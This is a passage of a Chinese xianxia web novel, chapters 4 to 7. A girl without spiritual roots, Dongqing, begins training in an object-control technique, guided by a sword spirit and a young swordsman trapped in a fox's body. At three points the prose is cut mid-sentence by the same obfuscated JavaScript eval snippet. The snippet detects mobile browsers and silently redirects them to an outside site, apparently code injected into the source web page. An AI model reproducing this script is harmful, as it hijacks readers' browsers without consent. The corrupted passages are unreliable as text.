紫荷看着被冬青当作锄头的法器,强忍肉疼开口问道,“冬青,这是怎么回事?” 她面不改色心不跳,“紫荷师姐,我方才在这等你,百无聊赖之际突然发现树根泥土有松动的痕迹,便上手扒了几下,在泥土里发现了红布软塞,于是用锄头试着挖了两下,却没想到意外发现了丹药。” 池南躲在树上,心里“啧啧”两声,不由佩服起她睁眼说瞎话的实力。 “冬青!你陷害我们!”闻向舟跳脚怒吼。 “哦?”冬青把锄头甩手一扔,铛的一声稳稳落进炼丹鼎里,她拍了拍手上浮尘,“我为什么陷害你们?” “还不是因为我们揍了你一顿你就怀恨……”闻向舟脱口而出。 当闻向度意识到冬青在套话,急忙去捂闻向舟的嘴时,已经来不及了。闻向舟也后知后觉到自己一时嘴快,冷汗“唰”的浸透后背。 “破忌食荤,宗门内动手,滚去跪两日禁闭室!”紫荷懒得听闻氏兄弟狡辩求饶,大手一挥,法器又颤颤巍巍的飘了起来,跟在她身后离开。 冬青跟在紫荷身后,在经过闻氏兄弟时,眼皮一掀一垂,赤裸裸挑衅的眼神像把刷子,将两人的狼狈看了个干净,随后在两人铁青的脸色中扬长而去。 夜风微凉,下山路的两侧风铃灯已尽数点亮,琉璃罩着灯火,铜片相击,此起彼伏的脆响回荡在山谷中。 冬青一路将紫荷送到山脚下。 “小冬青,”紫荷回身,蹙眉看着她洗的发白的旧衣服,“我不是给你备了新衣,怎么还穿着这个?” 冬青目光扫过师姐那身纹饰繁复、配饰花哨、有如开屏紫孔雀一般的打扮,违心的点了点头,“知道了师姐。” “还有……” 冬青以为紫荷又要说什么啰嗦的废话,结果她只是转过身去,边走边向后摆了摆手,扬声道: “下不为例哦!” 4. 第 4 章 碧色连天,冬青盘坐在修心池边,手里捧着老头给她的那本泛黄的旧书翻看着。 修心池向来是仙人顶用来惩戒心浮气躁的弟子用的,平日里本就人烟稀少,这会儿更是一个人都没有,倒是清净。 书皮上什么都没写,冬青翻开扉页,只见上面第一行墨字写着:御物心法共五式,芥子须弥、破茧迎风、心引潮生、念尽太虚、万物无心。 “芥子须弥?”冬青轻声呢喃,往下看去。 芥子须弥,万物“灵”亦有“势”,其灵其势,微殊各异,修炼者开始感知万物,当澄心静思,将注意力高度集中于一点,试与眼前微物建立共鸣。 如观芥子纳须弥,微至一尘,宏至一山,心惟物我并存,方得芥子须弥之真意。 御物心法?冬青知道天下修真术士分为剑修、丹修、符修、阵修和器修,御物……倒是头回听说。 术士与凡人,唯有灵根之差,有灵根者才能修炼出真气,继而术业专攻。 但她没有灵根,也能修炼吗? 冬青把书摊开放在一边,对着面前的一块石头闭上了眼睛。 一瞬间,周身所有的声音都因一种感官的闭合倏地清晰起来,风声、池水潺湲的泠泠声、树叶摩擦的沙沙声、鸟雀叽喳声……源源不断的涌入冬青耳畔。 声音在眼前黑幕中转化为实质,她动了动身子,尝试在脑海中呈现周围环境。 很快,花草树木鸟兽鱼虫一件一件的出现在她眼前,她很快在脑海里浮现了整个修心池的轮廓。 但也就在同时,冬青发现,她只能“看见”事物的轮廓,待她想放大某一处细节时,却如隔雾观花,眨眼便溃散难寻。 冬青深吸一口气,决定先从面前这块石头开始。 她屏息凝神,一块石头兀地出现在眼前……如果眼前这个灰色的色块能称为石头的话。 倏忽间,灰色的色块边缘逐渐有了泡沫一般的流光,流光越来越大,越来越大,等到冬青察觉到不对的时候,她已经“咚”的一声仰倒在地上了。 眼前没有流光了,而是一阵阵发黑,头颅深处传来钝器重击般的闷痛,血腥味充斥鼻腔,冬青伸手在鼻下摸了一把,一手濡湿。 “冬青!”池南从竹居寻来,刚到修心池便一眼见到那抹天青色的身影人事不省地倒在地上,也顾不得一只狐狸在宗门内开口说话是件多么危险的事了,三两步跑上前去。 冬青倒在地上,人事不省,鼻血流了半张脸。 池南用鼻尖拱了拱她的手臂,又咬住她的衣袖用力拖拽,都无济于事。 他跳上石头东张西望,欲随机拦下一个人,忽然视线触及到脚下泛黄的书页,他动作一滞,低头看去。 御物心法几个字跳入眼帘。 难道……她是因为修炼这个导致昏迷的吗? 池南来不及多想,他看见一抹白色身影从修心池外走过,立刻跳下石头,毫不犹豫向那人跑去。 沈秋溪揣着几张刚画完的符箓,正准备找个没人的地方一试,他步履匆匆,忽然感觉身后衣摆一沉。 他停下脚步,垂首一看——一只红色的狐狸正叼着他的衣袍,拼命把他向一侧拽去。 “哪里来的小狐狸?”沈秋溪俯下身摸了摸它的头,后者一脸嫌弃的躲过,频频回首示意着跟它走。 池南急得直跺脚,猛一用力,“嘶拉”一声,直接将沈秋溪的衣摆咬了两个窟窿出来。 “哎呦我新做的衣服!”沈秋溪脸都皱到了一起,他忙道:“好好好,我跟你走!去哪你引路。” 狐狸闻言大发慈悲地松开了他的衣服,转身如一道赤剑向修心池奔去。 沈秋溪紧随其后,一直来到修心池深处。 正当他疑惑狐狸为什么停住脚步时,一抬眼,却看见修心石边赫然倒着个满脸糊血的姑娘。 沈秋溪:“!” 他跑上前,先是探了下鼻息,然后握住冬青的肩膀晃了晃,“姑娘!姑娘!” 见人一点反应也无,沈秋溪干脆将人打横抱起,双指夹着张飞符,那符在他手里无风自燃,随后唰地一下在他脚下变大。 池南刚踏上去一只脚,还没等另三只踏上去,那张符箓便“咻”地一声从他脚下无情抽走,向着丹修长老那里狂奔而去。 池南:“……” “这辈子还没受过这么大委屈吧?” 耳边忽然传来一个戏谑的声音,把他心里想的说了出来。 池南一个激灵,猛然回头向身后看去——一个只有小臂高的白发老头手里拿着一把拂尘站在他身后,见他看过来,老头拂尘一甩,迈着四方步摇头晃脑的走上前来。 “无相?!”池南眼睛一亮,“你怎么找到这里的?” 无相,也就是池南那把无相剑的剑灵。 “闻着味儿找来的呗,还能是怎么找来的?”无相嘿嘿一笑,伸手摸了一把狐狸毛,“话说你怎么变成这样了……别说,还挺松软!” 池南一爪子拍掉无相不安分的手,“我也不知道,醒来就变成这样了。” 无相捂着通红的手背,瞪了他一眼,“元神能离体吗?” “我试过了,不能,要是能的话我早就回去了。”池南跳到修心石上,招呼无相过来,他指着冬青那本泛黄的旧书,“你看这个。” 无相捋着胡子,眯起眼睛蹲在书页前面看,“啧啧”两声,“这可是好东西,大陆百年没有出过御物术士了,这书保不齐还是从我那个时代传下来的呢!” 无相是五百年前无相剑的第一代主人,命格陨落后,魂魄栖于剑身沉睡,直到池南继他父亲池高梧之后将他从沉剑渊里拔出来。 算起来,池南应该是无相剑的第三代主人。 无相一个飞身骑在他背上,“怎么,你想练御物?” “不是我,是刚才那个姑娘。”池南解释道,“她救了我,我发现她很有御物的天赋。” 无相看他欲言又止,伸手在他背上拍了拍,“可是?” “可是她没有灵根。” 无相“呦”了一声,“那还真是可惜,怪不得被抬走了。” 他揪着池南的耳朵爬到他头顶,一个金钩倒挂悬在空池南眼前,问道,“怎么,你想帮她修习御物?” “你是我肚子里的蛔虫吗?”池南把他拍开。 “我是你的剑灵啊,你在想什么我能不知道?”无相被拍开也不恼,用拂尘扫了扫身上的浮灰。 “怎么说她都是我的救命恩人,再说我还需要她帮我养养元神,早日养好元神早日回宗门,免得师父担心。”说到这儿,池南顿了一下,问道,“白晓城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362850|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 无相自然接话,“放心吧,你元神离体后,燕明光就带着人赶过来了,白晓城死伤虽惨重,但如今也在慢慢休养生息了。倒是你,燕明光把你的身体抬回去之后,你师父都要急死了。” “是我不好。”池南凝神思索了一下,“我如今不说元神离体,就单现个真身都难做到,得想个办法把消息带给师父。” 剑灵只有其主人能够看见,让无相传信的主意还没开始就已经被扼杀。池南想着,把御物心法叼起来甩给无相,“我们走。” 无相被迫接住与他等高的书,被池南叼住后颈衣物拎起来疾驰而去。 药香氤氲,炼丹炉内飘出袅袅白烟,在空中游荡片刻,随机弥散在空中。 “咳咳……” 冬青咳了两声,慢慢睁开眼睛。 铺天盖地的眩晕袭来,她有些茫然地看着榻顶,眼前从模糊一片逐渐变得清晰起来。 “姑娘,你醒啦?” 一个陌生的声音从一侧传来,冬青浑身猛的一震,一骨碌从榻上爬起来,周身仿佛有无数无形的刺炸起,她戒备地看向炼丹炉旁的白衣男子,哑着声音问道,“你是谁?” 沈秋溪看她如此紧张,抬起了手,柔声道,“你别怕,我是逍遥门下大弟子沈秋溪,方才见你在修心池边晕倒,才把你带到灵枢苑的。” 逍遥老儿的徒弟? 冬青刚稍微放心一些,强烈的眩晕感和恶心感便一股脑涌上来,她捂着胸口,一个箭步冲到秽菔边,俯身剧烈干呕起来。 沈秋溪走到她边上,掌心轻拍她单薄的脊背。 冬青胃里什么都没有,吐出来的都是清水与胆汁,她扶着秽菔边抬起脑袋,接过沈秋溪送来的水漱了漱口。 “……多谢。” “不必多礼。”沈秋溪将一颗丹药递给她,“姑娘,苜岚子她老人家说你用脑过度,给你拿了丹药,服下去可缓解一些不适之感。” 冬青接过豆大的褐色丹药,凑到鼻下闻了闻。她抬眼扫了下沈秋溪,后者仍是温和无害的笑着,示意她可以放心服下。 想来除了苦一点应该也不会有什么不妥,冬青面露难色,皱着眉头将丹药吞了下去。 沈秋溪看她吞了药,眉头舒展开来,他目光温和,问:“姑娘看起来眼生,不知姑娘芳名?是哪个门下的弟子?” “冬青。”冬青用手背抹了一下嘴,“我不是仙人顶的弟子,我只是个扫地的。” “啊,这样……”沈秋溪坐在藤椅里,察觉到自己方才的话有些唐突,话锋一转,“说起来,还是姑娘养的那只小家伙带我找到你的。” 冬青心里咯噔一声,但看这位大弟子神色无异,便“嗯”了一声,说道,“小红……很机灵。” 一路疾驰远道而来的池南刚停到窗外,他气还没喘匀,便听到了冬青这句话。 被他叼在嘴里的无相也听见了,登时捧腹大笑起来,他上气不接下气地道,“哎呦喂,你叫小红啊哈哈哈哈……” 哈哈声戛然而止,无相仍旧保持着捧腹的姿势,嘴巴滑稽地大张着,却发不出半点声响——因为冬青的目光如有实质般穿过层层雾气,精准的落在他身上。 无相艰难地吞咽了一下口水,讷讷道:“我怎么感觉……” “她好像能看见我?” 5. 第 5 章 无相全身紧绷,平素柔顺飘逸的拂尘也变得僵直,一人一棍如临大敌,紧张地盯着冬青。 好在,冬青只是朝着他的方向看了一眼,随后又收回了视线。 无相端起的肩颈瞬间放松下来,他长舒一口气,伸手抚了抚拂尘,叹道,“吓死小老儿我了!” 满室药香中,冬青总算感觉头脑清明了些。她在陌生的环境难以放松下来,便撑着榻边站起身来,对沈秋溪揖了一礼,“今日多谢沈师兄相救,我不便打扰,便先回了。” 沈秋溪急忙抬手示意她不必多礼,他似乎看出了她的拘束,站起身来,“冬青,你且在此屋歇息,我还有些符箓没画完,既然你已无大碍,我便先行离开了。” 不等冬青应声,沈秋溪对她一颔首,随后转身快步离开了。 冬青索性一屁股坐回榻上,她用一旁打湿的方巾细细擦拭着脸上的血,头也没抬,“出来吧。” 窗沿缝隙中,蹿出一道红色影子,稳稳落在案上。 冬青抬起头,视线却落在了另一个身影上。 她把沾满血的方巾随手掷进铜盆中,脸色苍白如瓷,黑如深潭的眸子带着探究的味道,一瞬不瞬地盯着狐狸脚边的那个小人,“你是谁?” 她果然能看见他! 无相心里惊涛骇浪,面上却表现的很平静,借着撩头发的动作不动声色地擦去额头上的冷汗,他颧骨一提,小眼一眯,脸上又挂起了那贱兮兮的表情。 他迈着步子走到冬青面前,清了清嗓,“我是平野山上的梅花妖无相,来找我的狐狸小伙伴的。” “你?”冬青上下打量了他一下,“梅花妖?” “怎么?”无相急了,手中拂尘自上到下挥了一下,他仰首而立,“小老儿我如此仙风道骨,傲雅挺立,可不就是梅花妖的典范?” 池南揶揄的看着无相满嘴胡话,心道可得了吧。 “行,你是梅花妖。”冬青手肘撑在膝头,下巴朝池南的方向扬了一下,“那他呢?他也是妖?” 无相“哎”了一声,他摆摆手,“它灵智未开,只是一只低等狐狸罢了,不像我,风雨五百年,化得妖上妖!” “梅花妖,你是不是妖上妖与我无关,但这里是仙人顶,你最好赶快离开……”冬青说到这,话音一顿。 她看了一眼案上的狐狸,“……带着你的狐狸小伙伴一起。” “小冬青!”无相不干了,“我与我这狐狸小兄弟好歹也是救了你一命,你就这么赶我俩走,未免太无情了些!” 冬青眉头蹙起,“那你待如何?” 无相掌心相对搓了搓手,嘿嘿一笑,“当然是好酒好肉招待我俩!” 冬青垂眸瞥了他一眼,拿起放在案上的御物心法,起身径直向门口走去。“没钱。” “哎!”无相连忙迈开腿追上去,他没脸没皮地贴在冬青脚边,“好说好说,没酒没肉,有果子吃也行啊,小老儿我最喜欢吃果子了……” 冬青脚步倏然一顿,无相一个没刹住撞上她的小腿,他捂着额头仰首望去,只见她抱臂垂首,眸光冷冽,她语气平静,“我只是个扫地的,摘了宗门树上的果子要受罚的。” 无相喉结上下滚动了一下,有些无措的站在原地。 冬青撇过脸,直视着前方,语气似乎和缓了一些,“所以赶快离开吧,别怪我没提醒你。” 还没等他反应过来,只觉衣摆轻拂过他的面颊,再一眨眼,冬青已经离开了。 天光从屋门洒进,香炉里的安神香燃的只剩一个指节高,高高摞起的香灰兀地断折,落在炉内厚厚的香灰中,最后一缕烟在天光下缓缓消弭。 池南从案上跳下,慢慢走到无相身边。 无相静静凝望着那缕消散的烟,收起了那放浪形骸的模样,伸手轻轻拍了拍池南,“我觉着她对妖的恶意不大,但是……她自己活着好像就很艰难了。” “所以我才想与她交易。”池南道,“你知道我刚醒来的时候看她是什么样吗?” 他似乎又回到了那个雨夜,看见了那个暴雨中咬牙相护的姑娘。 无相问,“什么样?” “任人欺辱,毫无还手之力。” 他说,“若她想学,若我能助,一来算是报答她救我的恩情,二来,等我来日离开,她再面对欺辱,也能有一搏之本。” 傍晚的竹林沐浴在斜阳霞光中,竹居的屋顶被天光染成了金色,飞檐下的传音铃响混在竹叶摩擦的沙沙声中。 疾风忽起,漫天竹叶飘动,冬青伸手,一片竹叶摇动着,落在了她的掌心。 芥子须弥。 她心头突然浮现这四个字。 竹叶锋利的边缘轻轻刮过掌心,冬青垂首看去,“你到底是芥子,还是须弥呢?” 在她看来,芥子是沧海一粟,须弥是蔽日峰峦,但倘若她是一粒尘埃,那一粟是否就会变成须弥,倘若她又是层云,那峰峦是否也会变成芥子? 芥子须弥,到底什么是什么意思呢? 书页上关于芥子须弥的那些句子冬青已一字不落的背了下来,她索性将书放在石桌上,盘坐在院落中央,将那些字句架在心上翻来覆去地默念琢磨。 她闭上眼,掌中是那片青竹叶。 广袤无垠的漆黑空间在她眼前铺开,她感觉到自己盘坐在漫无目的的浅水里,这次,她的面前直接出现了青竹叶绿色的轮廓。 冬青尝试去看清青竹叶的微末之处,熟悉的眩晕感袭来,她及时打住了自己细究的念头。 她深吸一口气,忽然,她想起了方才问自己的问题。 倘若她是一粒尘埃,那一粟是否就会变成须弥? 冬青隐隐感觉自己与领悟只有一张薄薄的窗纸的距离,她心里跃动,身下浅水也开始泛起淡淡的涟漪。 她不再尝试去看青竹叶的微末,而是慢慢地缩小自己,青竹叶在她眼前仿佛缓慢的向前移动着放大。 那抹绿色越来越大、越来越大,直到冬青听见“啪”的一声。 窗纸破了。 青竹叶从芥子变成了须弥,再一眨眼,细细的脉络清晰夺目,纤毫毕现。 冬青浑身因激动而颤抖,脚下浅水也泛起波浪。 她不禁身体前倾,抬起手来伸向那神奇的繁复的脉络,就在手指触碰到的瞬间,青竹叶顿时如水雾云烟,化作点点尘光从她身侧消散。 她一个踉跄向前栽去,就在快要完全失去平衡的时候,手中突然出现了一根粗糙的木棍,她撑着木棍,猛地睁开眼睛。 手中是一根拇指粗的梅花枝,无相站在梅花枝下,双手用力地撑着花枝,他面部因用力而扭曲,声音几乎是从齿缝里渗出来的,“小冬青……修炼是急不来的!” 冬青松开手直起身,缓缓喘了一口粗气,这才惊觉自己不知何时站起了身,若不是无相,她此时应该已经栽倒在地上了。 “啪嗒”一声,青砖上出现一滴红色的液体。 冬青用手指摸了下鼻子,她又流鼻血了。 池南从屋里叼来一块帕子,塞进她手里。 爬满青苔的古井里倒映着冬青苍白的脸,她对着倒影,将鼻血擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362851|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净。 忽然,水面上多出两个倒影,两人一狐倒映在微微晃动的井水上,画面好不和谐。 无相捋着胡须,“还得是我堂堂梅花妖啊,连倒影都这么俊。” 冬青:“……” 池南:“……” 他伸手怼了怼无相,咳了一声。 无相瞥了他一眼,甩了甩拂尘,正要开口,只听冬青抢先问道,“你刚刚说修炼是急不来的,你懂御物之术?” “那是自然,我无相活了五百年,什么不懂?不过……”无相眯起那双小细眼睛,微微仰头,“你要……” “果子管够。”冬青蹲下身与他平视,从腰间布袋里掏出一个油亮的青果捧在掌心里递到他面前。 “……让我在你这里多住几日。”无相讷讷把后半句话说完。 冬青把果子塞到无相手里,脸上总算有了些笑意,她郑重道,“成交。” “诶不过今天不行啊。”无相背过身去。 冬青脸上的笑意倏地消失了。 这脸变得实属太快,池南看得真切,抬腿蹬了无相一脚。 无相一个趔趄,真身正要破口大骂,刚开口就看见冬青幽怨的眼神。 “小冬青,”他安抚道,“今日你已透支,再继续下去有害而无益,你今晚好生歇息,明日!明日我必教你!” 冬青垂下眼帘,思索一瞬,立刻转身进屋睡觉去了。 池南咬了一口青果,随后递给无相,“这果子不错,你尝尝。” 无相想也没想,单手接过啃了一大口。 无相:“……” 随后,惨绝人寰的嚎叫响彻竹居。 “呸呸呸,酸死小老儿我了!”无相脸上本就紧凑的五官此时都皱在一起了,他酸的涕泗横流直吐舌头,扭头一看,罪魁祸首池南已经不知道跑到哪里去了。 夜色潺潺,淡淡的月华穿过流光溢彩的薄云,轻轻地落在竹林之上。 池南元神有损,每天精力有限,便蜷在树下闭目养神。 沙沙沙——沙沙沙—— 迷迷糊糊中,他听到头顶上传来窸窸窣窣的声音。 突然,咚的一声闷响,头顶传来剧痛,一颗红果从他头顶掉下来,骨碌碌朝前滚去。 池南痛的直抽气,他抬头看去,亭亭如盖的密叶中突然探下一颗脑袋。 冬青单手扒开层层叠叠的绿叶,她站在树干上,另一臂上挎着个竹篮,透过篮子的网目隐约可见熟透的红果。 “小红,抱歉吵醒你了。” 她踏着枝干,从树上轻轻跃下,青色的飘带在空中划过一个飘逸柔美的弧度,轻轻落回她肩上。 “醒了正好,”冬青把一篮子的红果倒在木桶里,把空出来的竹篮放在池南脚边,“还有些熟透的没摘,你在下面帮我接着些。” 我堂堂折云宗大弟子,怎么可以随意被人差使。 池南闭着眼睛趴在地上,决定拿出他作为大弟子的态度。 下一秒,狐狸头被一巴掌重击。 冬青一掌拍在他脑袋上,“愣着干什么,快起来,趁着晚上没人多摘些。” 决心拿出态度的池南就这样被粗暴的叫起并看似任劳任怨的当起了苦力。 冬青身轻人也灵活,三两步蹿上了树,她在树上扔着果子,池南在下边叼着提梁跑来跑去,一人一狐在大半夜摘起了果子。 睡到一半起夜而找不到茅房的无相见此情形,拂尘啪嗒一声掉到了地上。 他对着月光下的两个身影揉了揉眼睛,“见……见鬼了?!” 6. 第 6 章 长生山的清晨雾气弥漫,负责司晨的木鸡刚睁开眼睛,正准备抖抖自己挂满露水的木头毛,忽然感觉一阵疾风从旁闪过,带落了几滴鸡冠上的露水。 冬青在花圃的小棚子里扒出了酣睡的无相,摇了摇他的肩膀。 鼾声戛然而止,无相在剧烈摇动中迷蒙的将眼睛睁开一条缝,四下茫然的看了看。 “梅花妖,已经是第二日了。”冬青双眸似被露水浸过,又湿又亮,整个人似乎比往日更有神采些。 无相吧哒着嘴从湿漉漉的棚子中坐起身来,他揉了揉惺忪的睡眼,问道,“几时了?” 这时,一声清脆嘹亮的鸡鸣从远处穿透雾气扩散开来。 无相一个激灵,“……小冬青,这未免也太早了。” 冬青掸了掸一旁花瓣上的露水,用一个小瓶子接住,她手中动作不停,扭头问道,“都说修为高的术士可以辟谷,你一只五百年的妖,难道还不如这些术士?” “自然……是比得过的。”无相偃旗息鼓,“小冬青,你先去院落里等我,我去去就来。” 冬青点头,收集满一整瓶露水后起身离去,她来到竹林里,挑了几片嫩竹叶摘了泡在茶碗里,用刚才的露水煮沸。 待到茶水凉至刚好的温度时,雾气中走出了两道身影。 “你自己许的今日,为何把我叫起来?”池南耷拉着耳朵,闷声道。 “有福独享,有难同当嘛小池子。”无相彻底精神起来了,他用湿漉漉的拂尘甩了甩池南,一脸幸灾乐祸。 两人走到院落中,冬青已经等候多时了。 她急不可耐的站起身,抓起无相的后颈把他提到了石桌上。 无相只觉一阵天旋地转,再站定时,眼前赫然是满桌通红的果子。 原来昨晚不是做梦啊,他看着满满一桌的红果,突然想起昨天酸的惊天动地的青果,一个激灵开始牙酸起来。 他捂着半边脸,忽然一个白瓷杯被两指推了过来,里面飘着两片嫩绿的竹叶。 冬青见他没反应,干脆端起杯子塞到他手里,“我买不起茶叶,束脩之礼也给不起,只能委屈你一下。” 竹叶的清香钻入鼻腔,肺腑舒畅的同时,无相后知后觉的意识到她这是拜自己为师的意思。 他轻笑了一下,果断饮尽了这杯茶。 师父当不起,但他好久没见过这般有趣的小丫头,多加指点还是可以做到的。 他放下茶杯,拂尘一甩,正色道,“小冬青,澄心静思,试着把我和池……小红,都纳入你的识海。” 识海? 冬青疑惑地看向他,“什么是识海?” 无相一愣,忽然想到池南跟他说过,面前这个小姑娘生于修真大家,却因无灵根而备受欺辱,那些术士们耳熟能详的基本概念在她这可能还是一片空白。 他语气瞬间软下来,温声解释道,“每个人的识海都不一样,你昨日闭上眼睛后,是不是进入到一片秘境,或是山林、或是庭院,总之大抵会是你熟悉的地方。” 冬青蹙着眉头,思索片刻后摇头,“什么都没有。” 无相问:“什么意思?” “我的识海里一片漆黑,只有一滩无边无际的浅水。”冬青描述道。 无相“嘶”了一声,这种情况他倒是第一次见,“小冬青,你先试着把我与小红纳进去。” 冬青照做,她闭上眼睛,再睁开时已经身处那片漆黑的空间了。她撑着地站起身,水珠从指尖滴落,带起圈圈涟漪。 有了昨日青竹叶的经验,冬青已经渐入佳境,她心念稍动,识海里先后出现了红白两道身影。 无相四处打量了一下,叹道,“还真是……海啊。” 他仰头看向冬青,却见后者正神色怪异的看向她。 “你怎么变成这副样子了?” 无相疑惑,他低头看向浅水里自己的倒影。 倒影中,无相束白发用的剑簪与手中的拂尘赫然变成了一支冬梅,身上白色的道袍也变成了梅红的颜色,素日里仙风道骨的高人摇身一变,变成了喜庆又招笑的小花妖。 无相左看看右看看,颇为满意的开口,“这副模样倒也还不错。” 池南也低头看去,还是那副狐狸皮囊。 狐狸腿短,对于冬青不过是浅没过脚面的浅水,已经没过狐狸的大半条腿。 她低头看了一眼,抓着狐狸的后颈把它提起来,本想抱在怀里,但不料狐狸挣扎的厉害,冬青手一松,狐狸噗通一声掉进水里,水花溅了无相一脸。 还没适应这具狐狸身躯的池南狼狈的从水中爬起,甩了甩水。 冬青索性就随他去了,她问无相:“你为什么会变成这样?” “嗯……若我所想不错,应该是小冬青你初入识海,而识海所反映的是心中所想,所以小老儿我呢,在你心中应该就是这副模样。”无相抚摸着手中梅枝,“等你识海逐渐稳定下来,能够随心控制变幻时,我便既可是这副模样,也可是旁的模样。” 他继续道,“小老儿我还是第一次见无灵根之人拥有识海,怪不得池……怪不得我一见你,就觉得你极有天赋。” 无相一共没说几句话,却让池南出了两身的冷汗,他默默抬起爪子,狠狠踩在无相脚上。 “嗷!”无相痛呼,但他自知理亏,没说什么,若无其事的往边上挪了一步。 “若我有灵根,灵根应该在何处?”冬青问。 “你现在沉心静气,感受这片识海最中心的位置。” 冬青深吸一口气,闭上眼睛。一时间,她的眼睛仿佛被悬在了空中,整片识海一览无余,但整片空间漆黑一片,她也不知道哪里是中心。 无相适时开口,“不要用眼睛去找,用心去感受。” 平静的浅水忽然有一处如泉眼一般翻涌了一下,冬青其实并没有看见那处翻涌,只是有一种强烈的直觉,告诉她那里就是她要找的中心。 她保持着闭眼的姿势,抬腿向一个方向走去。 池南与无相对视一眼,连忙跟上。 不知在这片无边无际的识海中走了多久,走的无相都累了,前面领路的冬青忽然停下了脚步。 她睁开眼睛,指着前面,“就是这里。” 无相走到她身边,弯下腰看去。 跟别处无任何区别,就是一滩平静的不能再平静的浅水。 他心里有些惋惜,本来以为会发现些不一样的东西。 正当他欲转身离去时,身后忽然传来冬青疑惑的声音。 “这怎么……是一个洞?” 洞? 他转身回看,只见冬青趴在地上,整个小臂都探进了浅水里,可是……这滩浅水也就一指高。 冬青本是想伸手摸摸看,手刚探下去,地面的触感却没有如期而至,取而代之的是一个深不见底、没有边际的洞。 洞完美隐藏在黑色的水底,一层粼动的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362852|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膜浮在洞口处,而这层水膜下却什么也没有,冬青把整个手臂都探进去,画着圈,也依然不见边际。 就好像这个洞口下面是另一个空间一般,空洞得让人悚然。 冬青站起身来,看向无相。 无相显然也搞不清状况,他也尝试伸手进去,与冬青一样,什么都摸不到。 他“啧啧”称奇,“这种情况,我闻所未闻。” 冬青忽然有些好奇,她问:“有灵根的识海中心是什么样的?” “呃……”无相狭长的眼睛瞟向池南,“我是一只妖,妖是没有灵根的,妖身上与灵根相对的东西是妖丹。” 池南察觉到他的目光,回了一个眼神,示意他再等等。 无相看向略有失望之色的冬青,咳了两声提议道,“仙人顶的藏经阁,不是北诏最大的吗?” 听到这话的冬青眼睛“噌”的一下亮了。 连脚下的浅水也微微涌动起来。 忽然一阵天旋地转之后,三人再一眨眼,面前景象已经回到竹居的小院中了。 识海内时间的流逝慢于外界,明明感觉只在识海里待了一株香的时间,外界已经到傍晚了。 夜风忽起,吹动冬青针脚粗糙的衣摆,她洗净鼻血,又洗了四个果子,给无相和池南一人分了两个。 “我要去藏经阁一趟,委屈你们一顿。” 她把滴水的果子一股脑塞进无相怀里,随后风也一般转身离去了。 “喂,我说小池子,”无相看着她离去的背影,咬了一口果子,清甜的汁水在齿间炸开,他问,“怎么样,还不打算开口吗?” “你们一个二个的,怎么都喜欢给别人瞎起名字?”池南没好气地道。 “问你正事呢。” “开口,这两日找个时机,我会向她坦明。”池南凝神感受了一下自己身上流动的稀薄的真气,试着现形。 然后不出所料地失败了。 他神色凝重,“我觉得白晓城屠城那一战有蹊跷。” 无相闻言蹙起眉头,他盘坐在池南面前,等他继续说下去。 “听说南氏国有血镝的消息时,我本想先去望月谷那里问问,但前脚刚到望月谷,便接到了白晓城似有血镝的消息,便马不停蹄的前往,还没等我开始探查,大批的妖族便涌入白晓城,不抢财宝不抢丹药法器,遇人便杀。 但白晓城是南氏最中心的城,百年来未有妖族入侵过,那么多妖族,是怎么在没有任何风吹草动的情况下突然来到白晓城展开屠杀的呢?而且,要入侵也该从边境小城开始,怎么就选了白晓城呢?” 池南受其师父弗如仙师之命,寻找这世间对妖气压制效果最强的血镝。他们对此物一无所知,只知道外形是红色的水滴。 他在北诏遍寻无果后来到南氏,还未见到血镝的影子,便被卷入了白晓城的那场入侵。 当时这场屠杀来的太过猝不及防,池南根本来不及反应其中缘由,便拔剑守城。现在想来,这场屠杀疑点颇多。 无相也觉得事有蹊跷,“而且当时燕明光带着宗门弟子赶来,妖族想都没想,立刻就撤离了。事后燕明光探查过,白晓城连血镝的影都没有,不知道这消息是怎么传到你耳朵里的。” 池南语气森然,“他们到底是冲着什么来的?白晓城?血镝?还是别的什么东西。” 无相看着他,突然打了个寒颤,“他们不会……” “是冲着你来的吧?” 7. 第 7 章 藏经阁建于长生山的阴面,入口隐于半山腰的一道水帘洞,穿过水帘洞,走过狭长的盘龙八弯,眼前便会豁然开朗。 几乎掏空了半座山的藏经阁沿山内壁盘旋而建,灯火如星,嵌满壁龛。中空立着八根擎天立柱,刻着仙人顶三十二位前宗主的画像。书架绕着柱子与山壁盘旋而上,收录了从古至今的龟甲、竹简和经书。 即便藏经阁不准外人进入,但冬青也不是第一次溜进来了,对整个藏经阁的构造了然于心。尤其正值入夜,宗门弟子都歇息了,这个时候人最少也最清净。 